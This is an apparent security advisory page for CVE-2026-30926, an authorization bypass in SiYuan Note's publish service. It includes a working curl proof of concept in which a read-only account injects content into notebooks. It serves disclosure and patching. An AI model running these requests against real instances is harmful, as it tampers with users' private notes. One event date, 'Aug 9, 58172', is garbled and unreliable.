CVE-2026-30926: SiYuan Note publish service authorization bypass allows low-privilege users to modify notebook content

Published Mar 9, 2026
·
Updated

Summary A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint.

The endpoint only requires model.CheckAuth, which accepts RoleReader sessions. Because the endpoint performs a persistent document mutation and does not enforce CheckAdminRole or CheckReadonly, a publish user with read-only privileges can append new blocks to existing documents.

This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.

Details

File: router.go, block.go, block.go, session.go Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209 Vulnerable Code: - router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren) - api/block.go: model.AppendHeadingChildren(id, childrenDOM) - model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation) - session.go: CheckAuth accepts RoleReader as authenticated Why Vulnerable: A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.

PoC

1. Enable publish service and create low-privilege account curl -u workspace:<ACCESSAUTHCODE> \ -H "Content-Type: application/json" \ -d '{ "enable": true, "port": 6808, "auth": { "enable": true, "accounts": [ { "username": "viewer", "password": "viewerpass" } ] } }' \ http://127.0.0.1:6806/api/setting/setPublish 2. Create a test notebook and document (admin) curl -u workspace:<ACCESSAUTHCODE> \ -H "Content-Type: application/json" \ -d '{"name":"AuditPOC"}' \ http://127.0.0.1:6806/api/notebook/createNotebook Create a document containing a heading: curl -u workspace:<ACCESSAUTHCODE> \ -H "Content-Type: application/json" \ -d '{ "notebook":"<NOTEBOOKID>", "path":"/Victim", "markdown":"# VictimHeading\n\nOriginal paragraph" }' \ http://127.0.0.1:6806/api/filetree/createDocWithMd 3. Retrieve heading block ID (low-priv publish account) curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT id,rootid FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \ http://127.0.0.1:6808/api/query/sql Example response: { "id":"20260307093334-05sj7bz", "rootid":"20260307093334-vsa6ft0" } 4. Generate block DOM curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"dom":"<p>InjectedByReader</p>"}' \ http://127.0.0.1:6808/api/lute/html2BlockDOM

5. Append block using the vulnerable endpoint curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{ "id":"20260307093334-05sj7bz", "childrenDOM":"<div ...>InjectedByReader</div>" }' \ http://127.0.0.1:6808/api/block/appendHeadingChildren Server response: {"code":0}

6. Verify unauthorized modification curl -u viewer:viewerpass \ -H "Content-Type: application/json" \ -d '{"stmt":"SELECT content FROM blocks WHERE rootid='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \ http://127.0.0.1:6808/api/query/sql Result includes attacker-controlled content: InjectedByReader This confirms that the low-privilege publish user successfully modified the document.

Impact This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.

Potential impacts include:

• Unauthorized modification of private notes • Content tampering in published notebooks • Loss of data integrity • Possible chaining with other API endpoints to escalate further privileges

The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.

Other sources

SiYuan is a personal knowledge management system. Prior to 3.5.10, a privilege escalation vulnerability exists in the publish service of SiYuan Note that allows low-privilege publish accounts (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint. The endpoint requires only the model.CheckAuth role, which accepts RoleReader sessions, but it does not enforce stricter checks, such as CheckAdminRole or CheckReadonly. This allows remote authenticated publish users with read-only privileges to append new blocks to existing documents, compromising the integrity of stored notes.

MITRE

Affected Software

2 affected components
go/github.com/siyuan-note/siyuan/kernel<=0.0.0-20260304035530-d03ebdec8279
b3log SiYuan<3.5.10

Event History

Mar 9, 2026
Advisory Published
via GitHub·06:18 PM
Data Sourced
via GitHub·06:18 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·09:07 PM
Data Sourced
via MITRE·09:07 PM
DescriptionSeverityWeakness
Mar 10, 2026
Data Sourced
via NVD·07:44 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:44 AM
Affected Software
Aug 9, 58172
Event
via FIRST·09:53 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-30926?

CVE-2026-30926 is classified as a privilege escalation vulnerability with significant impact due to unauthorized content modification.

2

How do I fix CVE-2026-30926?

To mitigate CVE-2026-30926, ensure that access controls are properly enforced on the /api/block/appendHeadingChildren endpoint.

3

What impact does CVE-2026-30926 have on SiYuan Note?

CVE-2026-30926 allows low-privilege accounts to modify notebook content, undermining the integrity and security of user data.

4

Which versions of SiYuan Note are affected by CVE-2026-30926?

CVE-2026-30926 affects all versions of SiYuan Note up to and including version 0.0.0-20260304035530-d03ebdec8279.

5

What is the attack vector for CVE-2026-30926?

The attack vector for CVE-2026-30926 involves calling the /api/block/appendHeadingChildren API endpoint with an insufficiently validated user role.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203